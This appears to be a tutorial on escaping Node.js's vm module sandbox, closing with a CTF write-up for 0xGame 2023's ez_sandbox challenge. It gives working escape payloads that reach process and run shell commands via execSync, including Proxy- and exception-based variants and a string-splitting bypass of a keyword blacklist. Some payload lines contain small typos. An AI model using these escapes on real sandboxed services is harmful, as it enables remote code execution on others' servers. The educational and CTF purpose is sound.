NodeJS VM sandbox escape

Article directory

    • basic concept
    • Node executes string as code
      • Method 1 eval
      • Method 2: new Function
    • Nodejs scope
    • vm sandbox escape
    • Some other situations of vm sandbox escape
    • Example

Basic concepts

What is a sandbox (sandbox)? When we run some programs that may cause harm, we cannot test directly on the real environment of the host, so we can open up a separate environment for running code, which is isolated from the host, but uses the host Hardware resources, running harmful code in the sandbox will only have some impact on the inside of the sandbox, but will not affect the functions on the host. The working mechanism of the sandbox mainly relies on redirection to redirect the malicious code. The execution target is redirected inside the sandbox.

The difference between sandbox and virtual machine (VM) and container (Docker)
Sandbox and VM both use virtualization technology, but their purposes are different. Sandboxes are used to isolate harmful programs, while virtual machines enable us to use multiple operating systems on one computer. Docker is a kind of sandbox. It creates a bounded running environment and places the program inside it, so that the program is trapped by the boundary, thereby isolating programs from each other and the program from the host. In actual protection, there are more nesting methods using Docker and sandbox, and the security is higher.

In Nodejs, we can create a “sandbox” by introducing the vm module. However, in fact, the isolation function of this vm module is not perfect and there are many defects. Therefore, Node subsequently upgraded the vm, which is now the vm2 sandbox. vm2 references the functions of the vm module and makes some optimizations based on it.

Node executes strings as code

Let’s first look at two ways to execute strings into code in node.

Method 1 eval

We now create age.txt in the current directory and write

var age = 18

Then create 1.js

const fs = require('fs')
let content = fs.readFileSync('age.txt', 'utf-8')
console.log(content)
eval(content)
console.log(age)

It is not difficult to find that the successful code is executed and outputs 18
But what happens if there is the same variable name in the current scope?
We modify the code as follows

const fs = require('fs')
let content = fs.readFileSync('age.txt', 'utf-8')
let age= 20
console.log(content)
eval(content)
console.log(age)

The result is an error
Each module in js has its own independent scope, so it is very difficult to use eval to execute string code The above problem is prone to occur. Let’s look at another method.

Method 2: new Function

The methods mentioned above are restricted in use due to different module scopes, so can we create the scope ourselves? The first parameter of new Function is the name of the formal parameter, and the second parameter is the function body.

let age= 20
const add = new Function('age','return age + 1')
console.log(add(age))

We all know that there are two scopes inside a function and outside a function, but when the scope in a function When you want to use variables outside the function, you must pass them through formal parameters. This method becomes troublesome when there are too many parameters.

From the above two examples of executing code, we can see that our idea is actually how to create a scope that can execute code by passing a string and is isolated from the outside. This is the role of the vm module.

Nodejs scope

Speaking of scope, we need to understand how scope is allocated in Node (scope is generally called context in Node)

When we write a Node project, we often need to ruquire other js files in a file. We call these files “packages”. Each package has its own context, and the scopes between packages are isolated from each other. That is to say, even if I require 2.js in 1.js, I cannot directly call it in 1.js. 2. Variables and functions in js, for example
In the same level directory, there are two files 1.js and 2.js
1.js

var age = 20

2.js

const a = require("./y1")
console.log(a.age)

It can be found that it is undefined


But if we declare global variables manually, they can be shared in each package and modify 1.js and 2.js

global. age=20
const a = require("./y1")
console.log(age)

Because age has been mounted on global at this time, its scope is no longer in 1

vm sandbox escape

We mentioned the concept of scope earlier, so let’s think about it now. If we want to achieve the isolation function of the sandbox, can we create a new scope and let the code run in this new scope? This way It is isolated from other scopes, which is how the vm module operates. Let’s first understand the APIs of several commonly used vm modules.

  • vm.runinThisContext(code): Create a scope (sandbox) under the current global and run the received parameters as code. Properties in global can be accessed in the sandbox, but properties in other packages cannot be accessed.
const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'

Import the vm module and create the variable localVar with the value initial value. Since the properties in global can be accessed in the sandbox, properties in other packages cannot be accessed. Therefore, the value of vmResult of const vmResult = vm.runInThisContext('localVar = "vm";'); is vm, and localVar cannot be accessed, so The value remains initial value

  • vm.createContext([sandbox]): You need to create a sandbox object before using it, and then pass the sandbox object to this method (if not, an empty sandbox object will be generated). v8 is the sandbox object for this sandbox object. Create a scope outside the current global. At this time, the sandbox object is the global object of this scope. The properties in the global cannot be accessed inside the sandbox.
  • vm.runInContext(code, contextifiedSandbox[, options]): The parameters are the code to be executed and the sandbox object that has created the scope. The code will be executed in the context of the sandbox object passed in, and the value of the parameter is consistent with the sandbox The parameter values within are the same.

const util = require('util');
  const vm = require('vm');
  global.globalVar = 3;
  const sandbox = { globalVar: 1 };
  vm.createContext(sandbox);
  vm.runInContext('globalVar *= 2;', sandbox);
  console.log(util.inspect(sandbox)); // { globalVar: 2 }
  console.log(util.inspect(globalVar)); // 3

The created sandbox sandbox object cannot access the global attribute, so the value is still 3

  • vm.runInNewContext(code[, sandbox][, options]): A combined version of creatContext and runInContext, passing in the code to be executed and the sandbox object.
  • vm.Script class Instances of the vm.Script type contain a number of precompiled scripts that can be run in a specific sandbox (or context)
  • new vm.Script(code, options): Creates a new vm.Script object that only compiles the code but does not execute it. The compiled vm.Script can then be executed multiple times. It is worth noting that code is not bound to any global object. Instead, it is only bound to the object that executes it each time.
    code: JavaScript code to be parsed
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count + = 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

We usually perform rce at the end of sandbox escape, so to perform rce in Node, we need procces. After obtaining the process object, we can use require to import child_process, and then use child_process to execute the command. But the process is mounted on global, but as we said above, global cannot be accessed after creatContext, so our ultimate goal is to introduce the process on global into the sandbox through various methods. .

If we change the code to this (the code parameter is best wrapped in backticks, this can make the code more strict and easier to execute):

"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);


So how do we achieve escape?

vm.runInNewContext(`this.constructor.constructor('return process.env')()`);

First of all, this here points to the object currently passed to runInNewContext. This object does not belong to the sandbox environment. We obtain its constructor through this object, and then obtain the constructor of a constructor object (in this case, Function constructor), the last () is to call the function generated by the constructor of Function, and finally returns a process object.
The following line of code can achieve the same effect:

const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);

Then we can use the returned process object to rce

y1.mainModule.require('child_process').execSync('cat /flag').toString()

A question was mentioned here on Knowledge Planet, the following code:

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

Can we replace this in this.toString.constructor(return process’)() with {}? {} means that an object is declared in the sandbox, which means that this object cannot be accessed globally.

If we replace this with m and n, it will not be accessible because numbers, strings, and booleans are all primitive types. During the transfer process, they pass values instead of references (similar to functions passing formal parameters). , the mn used in the sandbox is no longer the original mn, so it cannot be used.

We can use it by changing mn to other types.

Some other situations of vm sandbox escape

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

Our current this is null, and there is no other object that can be referenced. If we want to escape at this time, we need to use the property arguments.callee.caller of the built-in object in a function, which can return the caller of the function.

The sandbox escape we demonstrated above is actually to find an object outside the sandbox and call the method in it. The same is true in this case. We only need to define a function inside the sandbox and then call this function outside the sandbox. Then the arguments.callee.caller of this function will return an object outside the sandbox, and we can escape within the sandbox.

const vm = require('vm');
const script =
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)


Analyzing this code, we first create an object in the sandbox, and rewrite the toString method of this object, obtain an object outside the sandbox through arguments.callee.caller, and use the constructor of this object The constructor returns process, and then calls process to perform rce. The rewritten toString function is triggered by string concatenation in console.log outside the sandbox.

If there is no string-related operation performed outside the sandbox to trigger this toString, and there is no function that can be used to perform malicious rewriting, we can use Proxy to hijack the attribute.

const vm = require("vm");

const script =
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

The logic that triggers the exploit chain is that we write a malicious function in the get: hook. When we access any attribute of the proxy object outside the sandbox (whether it exists or not), this hook will automatically run, implementing rce.

If the return value of the sandbox returns an object that we cannot use or has no return value, how should we escape?

We can use exceptions to throw objects in the sandbox and then output them externally

const vm = require("vm");

const script =
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e)
}

Here we use catch to capture the proxy object thrown out. In the console.log, because the string is spliced with the object, the error message and the echo of rce are brought out together.

Examples

[0xGame 2023]week2 ez_sandbox
Part of the source code

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile\ ', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}
app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

Analyze source code

  • Hint 2: vm sandbox escape (arguments.callee.caller)

You can notice here let sandbox = Object.create(null), this is null at this time, so you have to use arguments.callee.caller

  • Hint 4: Set a getter through the __defineGetter__ method of the JavaScript Proxy class or object
    Enables a function to be called when accessing the message property of e (i.e. e.message) outside the sandbox

At the same time, we found that there are no string-related operations outside the sandbox, and there are no functions that can be used for malicious rewriting, so we need to use Proxy to hijack attributes.

  • Hint 3: You can throw an object through throw in the sandbox. This object will be captured by the catch statement outside the sandbox and then its message will be accessed.
    Attribute (i.e. e.message)

At the same time, we noticed that no value is returned after executing the code here, but there is a try-catch statement, so we also need to use exception handling and use console.log to bring out the error message and the echo of rce.

Although many keywords are filtered, they can be bypassed by using JavaScript features: square brackets + string concatenation.
original payload

 throw new Proxy({}, {
 get: function(){
 const c = arguments.callee.caller;
 const p = (c.constructor.constructor('return process'))();
 return p.mainModule.require('child_process').execSync('whoami').toString();
}
})

edit a bit

throw new Proxy({}, { // Proxy object is used to create a proxy for an object to implement interception of attributes and methods
get: function(){ // Accessing any property of this object will execute the function pointed to by get
const c = arguments.callee.caller
const p = (c['constru' + 'ctor']['constru' + 'ctor']('return pro' + 'cess'))()
return p['mainM' + 'odule']['requi' + 're']('child_pr' + 'ocess')['ex' + ' ecSync']('cat/flag').toString();
}
})

or

let obj = {} // Define a getter for the message attribute of the object. When obj.message is accessed, the corresponding function will be called.
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru' + 'ctor']['constru' + 'ctor']('return pro' + 'cess'))()
return p['mainM' + 'odule']['requi' + 're']('child_pr' + 'ocess')['ex' + ' ecSync']('cat/flag').toString();
})
throw obj

get flag